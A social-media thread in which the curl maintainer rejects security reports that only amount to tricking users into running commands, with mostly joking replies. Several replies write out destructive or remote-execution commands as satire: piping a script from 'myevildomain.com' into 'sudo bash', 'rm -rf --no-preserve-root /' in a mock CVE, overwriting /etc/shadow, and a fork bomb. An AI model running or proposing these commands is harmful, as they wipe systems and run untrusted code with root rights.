If you can trick a user to run a command tool in a way that ends up causing the user problems, that is not a security problem in that tool.

Just saying. In case you're thinking of submitting such a report about a command line tool in your toolbox.

But surely no sane person would. Right? Right?

@bagder A variant of Raymond Chen's "other side of airtight hatchway" problem? :)

the latest incarnation of this is someone saying that curl can be used to download a ".curlrc" into your $HOME and then curl might do bad things in subsequent invokes.

The first step is "just" to trick a user to run a curl command line doing the bad.

... if you can trick a user into running an arbitrary command, you can of course do so much more harm than just this.

@bagder It seems insane that anyone would lay blame for such occurrences at your feet but I'm sure you're received any number of these and more.

@thedoctor we get different variations of this reported with some interval, yes

@bagder Ok, but what if we add a --no-preserve-root flag equivalent specifically for every potential critical file on every possible OS?

@bagder
faithInHumanity--

@bagder so what was it this time?

@bagder You gotta be kidding..

@bagder not having high hopes this will help a lot, but you could add to the program guidelines explicitly that those types are not a valid reports.
curl | bash - not valid!
curl -o /etc/shadow - not valid!

@faker We already have this pretty explicitly documented to not be a security problem:

A creative, misleading or funny looking command line is not a security problem. The curl command line tool takes options and URLs on the command line and if an attacker can trick the user to run a specifically crafted curl command line, all bets are off. Such an attacker can just as well have the user run a much worse command that can do something fatal (like `sudo rm -rf /`).

@bagder I understand what you say and I agree at 99,9%. I would say that there are 0,1% of cases that although it is still not a security problem in the tool, it makes sense that the tool helps the user to know they might be doing something they don't want to do. Like "are you sure you want to disable this security functionality?" "are you sure you want to install this plugin from this source?"

@bagder

CVE-2025-6978513: Arbitrary code execution in bash
Severity: 10

When opening bash and inputting a command provided by a malicious third party, arbitrary commands can be executed. This can, among other things, be used for privilege escalation, creation of backdoors, and downloading of malware.

Proof of concept:

1. Open bash
2. Run "sudo rm -rf --no-preserve-root /"

@bagder Sorry, you have more words for that than i have.

Layer-8-issues (behind the keyboard) cannot all be solved by software.

@bagder oh, I didn't even know about https://curl.se/dev/vuln-disclosure.html
I meant to add it here: https://hackerone.com/curl
Or link to your vulnerability disclosure policy from there.
Again, not holding my breath that people who report such "bugs" read those guidelines anyway...

@faker thanks for pointing this out, I added a link to the policy page now from the hackerone submission page.

@bagder Where's my "rm -rf --no-preserve-root /" RCE-through-user bounty!???

tech news headline: NEW RCE IN CURL!!!1!!!

"if user executes the command curl myevildomain.com/evilScript | sudo bash hackers will take control of the user system

@jpmens @bagder Well, if your backups can be restored using a web API, curl can actually help!

@bagder brb report security vulnerability in `dd`

@ligniform @bagder
I think dd could be as powerful yet slower as rm, but seriously you can’t blame <any car brand> for you speeding and causing an accident, same goes with curl.

If you’re ’root’ you are, no warnings and that’s what we appreciate with Linux over Windows 6000 ”are you sure” pop-ups.

Keep it up Daniel, we support you

@mezzodrinker @bagder bash can be used to perform a DoS attack on a target system, by socially engineering a user into running `:{ :|:& };:`

@bdf2121cc3334b35b6ecda66e471 @mezzodrinker @bagder not on BSD with default process ulimits

@mirabilos @bdf2121cc3334b35b6ecda66e471 @mezzodrinker @bagder Sure it should be BSD in general?
Because I remember people claiming that some years ago so I tried on a spare FreeBSD 13.x machine, which predictably got overloaded.

@lanodan @bagder @bdf2121cc3334b35b6ecda66e471 @mezzodrinker there’s BSD, and then there’s FreeBSD…